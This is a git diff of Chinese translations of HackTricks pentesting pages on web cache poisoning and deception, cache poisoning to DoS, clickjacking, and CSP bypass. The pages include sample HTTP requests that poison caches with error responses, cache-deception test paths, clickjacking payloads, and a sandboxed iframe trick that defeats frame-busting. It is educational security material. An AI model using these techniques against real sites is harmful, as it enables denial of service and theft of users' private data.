缓存中毒 -在这里了解如何通过滥用 HTTP 请求走私来执行[利用 HTTP 缓存投毒攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)。 +在这里了解如何通过滥用 [HTTP 请求走私进行缓存中毒攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)。 -### Web 缓存投毒的自动化测试 +### 自动化测试 Web 缓存中毒 -[Web 缓存漏洞扫描器](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)可用于自动测试 Web 缓存投毒。它支持许多不同的技术,并且高度可定制。 +[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) 可用于自动测试 Web 缓存中毒。它支持多种不同的技术,并且高度可定制。 -示例用法:`wcvs -u example.com` +示例用法: `wcvs -u example.com`
\ -使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 可以轻松构建和 **自动化工作流程**,使用全球 **最先进** 的社区工具。\ -立即获取访问权限: +使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\ +今天就获取访问权限: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} -## 可能存在漏洞的示例 +## 漏洞示例 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS 在 URL 中转发了片段而没有剥离它,并且仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端作为 `/#/../?r=javascript:alert(1)`,缓存键中不包含有效载荷,只有主机、路径和查询。 +ATS 在不去除 URL 中的片段的情况下转发了该片段,并仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端,作为 `/#/../?r=javascript:alert(1)`,而缓存键中没有负载,仅包含主机、路径和查询。 ### GitHub CP-DoS -在内容类型标头中发送错误值会触发 405 缓存响应。缓存键包含了 cookie,因此只能攻击未经授权的用户。 +在内容类型头中发送错误值触发了 405 缓存响应。缓存键包含 cookie,因此只能攻击未认证用户。 ### GitLab + GCP CP-DoS -GitLab 使用 GCP 存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并将缓存投毒为返回空响应主体。它还可以支持方法 `PURGE`。 +GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此,可以发送头部 `x-http-method-override: HEAD` 并使缓存中毒以返回空响应体。它还可以支持 `PURGE` 方法。 -### Rack 中间件(Ruby on Rails) +### Rack 中间件 (Ruby on Rails) -在 Ruby on Rails 应用程序中,经常使用 Rack 中间件。Rack 代码的目的是获取 **`x-forwarded-scheme`** 标头的值并将其设置为请求的方案。当发送标头 `x-forwarded-scheme: http` 时,会发生到同一位置的 301 重定向,可能导致对该资源的拒绝服务(DoS)。此外,应用程序可能会识别 `X-forwarded-host` 标头并将用户重定向到指定的主机。这种行为可能导致从攻击者服务器加载 JavaScript 文件,存在安全风险。 +在 Ruby on Rails 应用程序中,通常会使用 Rack 中间件。Rack 代码的目的是获取 **`x-forwarded-scheme`** 头的值并将其设置为请求的方案。当发送头 `x-forwarded-scheme: http` 时,会发生 301 重定向到相同位置,可能导致该资源的拒绝服务 (DoS)。此外,应用程序可能会识别 `X-forwarded-host` 头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载 JavaScript 文件,从而带来安全风险。 ### 403 和存储桶 -Cloudflare 以前缓存 403 响应。尝试使用不正确的授权标头访问 S3 或 Azure 存储 Blob 会导致缓存的 403 响应。尽管 Cloudflare 已停止缓存 403 响应,但这种行为可能仍存在于其他代理服务中。 +Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3 或 Azure 存储 Blob 会导致 403 响应被缓存。尽管 Cloudflare 已停止缓存 403 响应,但这种行为可能仍然存在于其他代理服务中。 ### 注入键参数 -缓存通常在缓存键中包含特定的 GET 参数。例如,Fastly 的 Varnish 在请求中缓存了 `size` 参数。但是,如果还发送了参数的 URL 编码版本(例如,`siz%65`)并附带错误值,缓存键将使用正确的 `size` 参数构建。然而,后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码会导致缓存中省略该参数,但后端会使用它。将此参数赋值为 0 会导致可缓存的 400 Bad Request 错误。 +缓存通常在缓存键中包含特定的 GET 参数。例如,Fastly 的 Varnish 在请求中缓存了 `size` 参数。然而,如果还发送了 URL 编码版本的参数(例如,`siz%65`)并带有错误值,则缓存键将使用正确的 `size` 参数构建。然而,后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码导致缓存省略该参数,但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。 ### 用户代理规则 -一些开发人员阻止与高流量工具(如 FFUF 或 Nuclei)匹配的用户代理的请求,以管理服务器负载。具有讽刺意味的是,这种方法可能会引入缓存投毒和 DoS 等漏洞。 +一些开发人员阻止与高流量工具(如 FFUF 或 Nuclei)匹配的用户代理的请求,以管理服务器负载。讽刺的是,这种方法可能引入漏洞,例如缓存中毒和 DoS。 -### 非法标头字段 +### 非法头字段 -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定标头名称中可接受的字符。标头包含指定 **tchar** 范围之外的字符应理想情况下触发 400 Bad Request 响应。实际上,服务器并不总是遵循这一标准。一个值得注意的例子是 Akamai,它会转发带有无效字符的标头并缓存任何 400 错误,只要不存在 `cache-control` 标头。发现了一个可利用的模式,发送带有非法字符的标头,例如 `\`,会导致可缓存的 400 Bad Request 错误。 +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头应理想地触发 400 错误请求响应。在实践中,服务器并不总是遵循此标准。一个显著的例子是 Akamai,它转发包含无效字符的头,并缓存任何 400 错误,只要 `cache-control` 头不存在。发现了一种可利用的模式,发送包含非法字符(如 `\`)的头会导致可缓存的 400 错误请求。 -### 查找新标头 +### 查找新头 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) ## 缓存欺骗 -缓存欺骗的目标是使客户端**加载将由缓存保存的资源及其敏感信息**。 +缓存欺骗的目标是使客户端 **加载将被缓存保存的敏感信息资源**。 -首先请注意,例如 `.css`、`.js`、`.png` 等**扩展名**通常被**配置**为**保存**在**缓存**中。因此,如果访问 `www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到了 `.js` **扩展名**。但是,如果**应用程序**正在使用存储在 _www.example.com/profile.php_ 中的**敏感**用户内容进行**重放**,您可以从其他用户那里**窃取**这些内容。 +首先要注意的是,**扩展名**如 `.css`、`.js`、`.png` 等通常被 **配置** 为 **保存** 在 **缓存** 中。因此,如果您访问 `www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到 `.js` **扩展名**。但是,如果 **应用程序** 正在 **重放** 存储在 _www.example.com/profile.php_ 中的 **敏感** 用户内容,您可以 **窃取** 其他用户的这些内容。 -其他要测试的内容: +其他测试内容: * _www.example.com/profile.php/.js_ * _www.example.com/profile.php/.css_ * _www.example.com/profile.php/test.js_ * _www.example.com/profile.php/../test.js_ * _www.example.com/profile.php/%2e%2e/test.js_ -* _使用较少人知道的扩展名,如_ `.avif` +* _使用不太常见的扩展名,如_ `.avif` -另一个非常明显的例子可以在这篇文章中找到:[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\ -在这个例子中,解释了如果加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ 的内容(**带有用户的敏感信息**),并且缓存服务器将保存结果。\ -然后,**攻击者**可以在他们自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的**机密信息**。 +另一个非常清晰的例子可以在这个报告中找到: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\ +在这个例子中,解释了如果您加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ (**包含用户的敏感信息**)的内容,并且缓存服务器将保存结果。\ +然后,**攻击者**可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的 **机密信息**。 -请注意,**缓存代理**应该根据文件的**扩展名**(_.css_)而不是根据内容类型来**配置**缓存文件。在示例 _http://www.example.com/home.php/non-existent.css_ 中,将具有 `text/html` 内容类型,而不是预期的 `text/css` MIME 类型(这是 _.css_ 文件的预期类型)。 +请注意,**缓存代理** 应该被 **配置** 为 **缓存** 文件 **基于** 文件的 **扩展名**(_.css_),而不是基于内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中,将具有 `text/html` 内容类型,而不是 `text/css` MIME 类型(这是 _.css_ 文件的预期类型)。 + +在这里了解如何进行 [利用 HTTP 请求走私进行缓存欺骗攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)。 -在这里了解如何通过滥用 HTTP 请求走私来执行[利用 HTTP 请求走私来执行 Web 缓存欺骗攻击](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)。 ## 自动化工具 -* [**toxicache**](https://github.com/xhzeem/toxicache): 用于查找网页缓存投毒漏洞的 Golang 扫描器,可在一组 URL 中测试多种注入技术。 +* [**toxicache**](https://github.com/xhzeem/toxicache): Golang 扫描器,用于在 URL 列表中查找 Web 缓存中毒漏洞并测试多种注入技术。 -## 参考资料 +## 参考文献 * [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) * [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) @@ -239,21 +245,22 @@ Cloudflare 以前缓存 403 响应。尝试使用不正确的授权标头访问
\ -使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 可轻松构建并 **自动化** 由全球 **最先进** 社区工具驱动的工作流。\ -立即获取访问权限: +使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\ +今天就获取访问权限: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} +{% hint style="success" %} +学习和实践 AWS 黑客攻击:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客攻击: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) +支持 HackTricks -支持 HackTricks 的其他方式: - -* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品 -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/pentesting-web/cache-deception/cache-poisoning-to-dos.md index 400a41d03..cc19d866e 100644 --- a/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -1,26 +1,27 @@ -# 缓存投毒导致拒绝服务攻击 +# Cache Poisoning to DoS + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
- -{% hint style="danger" %} -在此页面,您可以找到不同的变体,尝试使**Web服务器以错误响应**对**适用于缓存服务器**的请求进行响应 {% endhint %} -* **HTTP标头超大(HHO)** +{% hint style="danger" %} +在此页面中,您可以找到不同的变体,以尝试使 **Web 服务器对有效的缓存服务器请求** **响应错误**。 +{% endhint %} -发送一个带有比Web服务器支持的标头大小更大但比缓存服务器支持的标头大小更小的请求。Web服务器将以400响应进行响应,该响应可能会被缓存: +* **HTTP Header Oversize (HHO)** + +发送一个请求,头部大小大于 Web 服务器支持的大小,但小于缓存服务器支持的大小。Web 服务器将以 400 响应进行响应,该响应可能会被缓存: ``` GET / HTTP/1.1 Host: redacted.com @@ -28,23 +29,23 @@ X-Oversize-Hedear:Big-Value-000000000000000 ``` * **HTTP Meta Character (HMC) & Unexpected values** -发送一个包含一些**有害的元字符**,如`\n`和`\r`的标头。为了使攻击生效,您必须首先绕过缓存。 +发送一个包含一些 **有害元字符** 的头部,例如 `\n` 和 `\r`。为了使攻击有效,您必须首先绕过缓存。 ``` GET / HTTP/1.1 Host: redacted.com X-Meta-Hedear:Bad Chars\n \r ``` -一个糟糕配置的标头可能只是`\:`作为一个标头。 +一个配置错误的头部可能只是 `\:` 作为头部。 -如果发送了意外的值,比如意外的Content-Type:,这也可能起作用。 +如果发送了意外的值,这也可能有效,比如意外的 Content-Type: ``` GET /anas/repos HTTP/2 Host: redacted.com Content-Type: HelloWorld ``` -* **未加密的标头** +* **未键入的头部** -一些网站会在请求中看到特定的标头时返回错误状态码,比如 _X-Amz-Website-Location-Redirect: someThing_ 标头: +一些网站会在请求中**看到某些特定的头部**时返回错误状态代码,例如带有 _X-Amz-Website-Location-Redirect: someThing_ 头部: ``` GET /app.js HTTP/2 Host: redacted.com @@ -55,17 +56,17 @@ Cache: hit Invalid Header ``` -* **HTTP方法覆盖攻击(HMO)** +* **HTTP 方法覆盖攻击 (HMO)** -如果服务器支持使用诸如 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 等标头更改HTTP方法。可以请求一个有效页面并更改方法,以便服务器不支持该方法,从而导致缓存了错误的响应: +如果服务器支持通过 `X-HTTP-Method-Override`、`X-HTTP-Method` 或 `X-Method-Override` 等头部更改 HTTP 方法,则可以请求一个有效页面,改变方法使得服务器不支持,从而导致错误响应被缓存: ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` -* **未加密端口** +* **未键入端口** -如果主机头中的端口在响应中反射,但未包含在缓存键中,则可能将其重定向到未使用的端口: +如果主机头中的端口在响应中被反射且未包含在缓存键中,则可以将其重定向到未使用的端口: ``` GET /index.html HTTP/1.1 Host: redacted.com:1 @@ -74,9 +75,9 @@ HTTP/1.1 301 Moved Permanently Location: https://redacted.com:1/en/index.html Cache: miss ``` -* **长重定向拒绝服务攻击** +* **长重定向 DoS** -就像下面的例子一样,x 没有被缓存,因此攻击者可以滥用重定向响应行为,使重定向发送一个如此庞大的 URL 以至于返回错误。然后,尝试访问没有缓存的 x 键的 URL 的人将收到错误响应: +如以下示例所示,x 没有被缓存,因此攻击者可以利用重定向响应行为,使重定向发送一个如此大的 URL 以至于返回错误。然后,试图在没有未缓存的 x 密钥的情况下访问该 URL 的人将收到错误响应: ``` GET /login?x=veryLongUrl HTTP/1.1 Host: www.cloudflare.com @@ -91,9 +92,9 @@ Host: www.cloudflare.com HTTP/1.1 414 Request-URI Too Large CF-Cache-Status: miss ``` -* **主机头大小写规范化** +* **主机头部大小写规范化** -主机头应该是不区分大小写的,但一些网站希望它是小写的,如果不是,则会返回错误: +主机头部应该是不区分大小写的,但某些网站期望它是小写的,如果不是则会返回错误: ``` GET /img.png HTTP/1.1 Host: Cdn.redacted.com @@ -105,7 +106,7 @@ Not Found ``` * **路径规范化** -某些页面会返回错误代码,将数据以 URLencode 的方式发送到路径中,然而,缓存服务器会对路径进行 URLdecode 处理,并将响应存储为 URLdecoded 路径: +某些页面在路径中发送数据 URLencode 时会返回错误代码,但缓存服务器会对路径进行 URLdecode 并存储 URLdecoded 路径的响应: ``` GET /api/v1%2e1/user HTTP/1.1 Host: redacted.com @@ -118,7 +119,7 @@ Not Found ``` * **Fat Get** -一些缓存服务器,比如Cloudflare,或者Web服务器,会阻止带有主体的GET请求,因此这可能被滥用来缓存一个无效的响应: +一些缓存服务器,如 Cloudflare,或 web 服务器,停止带有主体的 GET 请求,因此这可能被滥用来缓存无效响应: ``` GET /index.html HTTP/2 Host: redacted.com @@ -130,21 +131,22 @@ xyz HTTP/2 403 Forbidden Cache: hit ``` -## 参考资料 +## 参考文献 * [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52) * [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------) +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)! +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index eb1035ac4..bae824e72 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -1,38 +1,39 @@ -# 点击劫持 +# Clickjacking + +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +支持 HackTricks -支持HackTricks的其他方式: - -- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
\ -使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\ -立即获取访问权限: +使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\ +今天就获取访问权限: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %} -## 什么是点击劫持 +## 什么是 Clickjacking -在点击劫持攻击中,**用户**被**欺骗**点击网页上的一个**元素**,该元素要么是**不可见的**,要么伪装成另一个元素。这种操纵可能会对用户造成意外后果,如下载恶意软件,重定向到恶意网页,提供凭据或敏感信息,转账,或在线购买产品。 +在 clickjacking 攻击中,**用户**被 **欺骗** 点击网页上的一个 **元素**,该元素要么是 **不可见** 的,要么伪装成其他元素。这种操控可能导致用户意想不到的后果,例如下载恶意软件、重定向到恶意网页、提供凭据或敏感信息、资金转移或在线购买产品。 -### 预填表单技巧 +### 预填充表单技巧 -有时可以在加载页面时使用GET参数**填充表单字段的值**。攻击者可能会滥用这种行为,填充表单的任意数据并发送点击劫持有效负载,以便用户按下提交按钮。 +有时可以在加载页面时使用 GET 参数 **填充表单字段的值**。攻击者可能会利用这种行为用任意数据填充表单并发送 clickjacking 有效载荷,以便用户点击提交按钮。 ### 使用拖放填充表单 -如果您需要用户**填写表单**,但又不想直接要求他输入某些特定信息(比如您知道的电子邮件或特定密码),您可以要求他**拖放**某些内容,这些内容将写入您控制的数据,就像在[**这个示例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)中一样。 +如果您需要用户 **填写表单**,但不想直接要求他写一些特定信息(例如您知道的电子邮件或特定密码),您可以只要求他 **拖放** 一些将写入您控制数据的内容,如 [**这个例子**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) 中所示。 ### 基本有效载荷 ```markup @@ -78,7 +79,7 @@ left:210px;
Click me next
``` -### 拖放 + 点击攻击载荷 +### 拖放 + 点击有效载荷 ```markup @@ -109,95 +110,97 @@ background: #F00; ``` ### XSS + Clickjacking -如果您已经确定了一个需要用户点击某个元素来触发 XSS 攻击的情况,并且页面容易受到点击劫持攻击,您可以利用这一点来欺骗用户点击按钮/链接。\ -示例:\ -_您发现账户私人详情中存在自身 XSS(只有您可以设置和读取的详情)。包含设置这些详情的表单的页面容易受到点击劫持攻击,您可以使用 GET 参数预填充表单。_\ -\_\_攻击者可以准备一个点击劫持攻击到该页面,预填充表单中的 XSS 负载,并欺骗用户提交表单。因此,当表单提交且值被修改时,用户将执行 XSS。 +如果您已识别出一个**需要用户点击**某个元素以**触发**XSS的**XSS攻击**,并且该页面**易受点击劫持**,您可以利用它来欺骗用户点击按钮/链接。\ +示例:\ +_您在账户的某些私人信息中发现了一个**自我XSS**(这些信息**只有您可以设置和读取**)。包含设置这些信息的**表单**的页面**易受** **点击劫持**,您可以用GET参数**预填充**该**表单**。_\ +\_\_攻击者可以准备一个**点击劫持**攻击,通过**预填充**该页面的**表单**与**XSS有效载荷**,并**欺骗****用户**提交该表单。因此,**当表单被提交**且值被修改时,**用户将执行XSS**。 -## 缓解点击劫持的策略 +## 减轻点击劫持的策略 ### 客户端防御 -在客户端执行的脚本可以执行操作以防止点击劫持: +在客户端执行的脚本可以采取措施来防止点击劫持: -* 确保应用窗口是主要或顶级窗口。 +* 确保应用程序窗口是主窗口或顶部窗口。 * 使所有框架可见。 -* 防止在不可见框架上点击。 -* 检测并警告用户可能的点击劫持尝试。 +* 防止对不可见框架的点击。 +* 检测并警告用户潜在的点击劫持尝试。 -然而,这些破坏框架的脚本可能会被规避: +然而,这些框架破坏脚本可能会被规避: -* **浏览器的安全设置:** 一些浏览器可能会基于其安全设置或缺乏 JavaScript 支持来阻止这些脚本。 -* **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置 `sandbox` 属性为 `allow-forms` 或 `allow-scripts` 值而不包括 `allow-top-navigation` 来中和破坏框架脚本。这会阻止 iframe 验证是否为顶级窗口,例如, +* **浏览器的安全设置:** 一些浏览器可能会根据其安全设置或缺乏JavaScript支持来阻止这些脚本。 +* **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置`sandbox`属性为`allow-forms`或`allow-scripts`值而不包含`allow-top-navigation`来中和框架破坏脚本。这会阻止iframe验证它是否是顶层窗口,例如, ```html ``` +The `allow-forms` 和 `allow-scripts` 值在禁用顶级导航的同时启用 iframe 内的操作。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin` 和 `allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。 + ### 服务器端防御 #### X-Frame-Options -**`X-Frame-Options` HTTP响应头** 通知浏览器有关在 `` 或 ` // The bot will load an URL with the payload @@ -583,15 +566,15 @@ run(); ``` ### 通过书签小工具 -这种攻击需要一些社会工程,攻击者**说服用户将链接拖放到浏览器的书签小工具上**。这个书签小工具会包含**恶意的 JavaScript** 代码,当拖放或点击时会在当前网页窗口的上下文中执行,**绕过 CSP 并允许窃取敏感信息**,比如 cookies 或令牌。 +此攻击将涉及一些社会工程学,攻击者**说服用户将链接拖放到浏览器的书签小工具上**。此书签小工具将包含**恶意的javascript**代码,当拖放或点击时,将在当前网页窗口的上下文中执行,**绕过CSP并允许窃取敏感信息**,例如cookies或tokens。 -有关更多信息[**请查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 +有关更多信息,请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 -### 通过限制 CSP 来绕过 CSP +### 通过限制CSP绕过CSP -在[**这个 CTF 解密**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,通过在允许的 iframe 中注入一个更严格的 CSP 来绕过 CSP,该 CSP 禁止加载特定的 JS 文件,然后通过**原型污染**或**DOM 篡改**允许**滥用不同的脚本来加载任意脚本**。 +在[**这个CTF写作**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,CSP通过在允许的iframe中注入更严格的CSP来绕过,该CSP不允许加载特定的JS文件,然后通过**原型污染**或**DOM覆盖**允许**滥用不同的脚本来加载任意脚本**。 -您可以使用**`csp`**属性**限制 iframe 的 CSP**: +您可以使用**`csp`**属性**限制iframe的CSP**: {% code overflow="wrap" %} ```html @@ -599,73 +582,73 @@ run(); ``` {% endcode %} 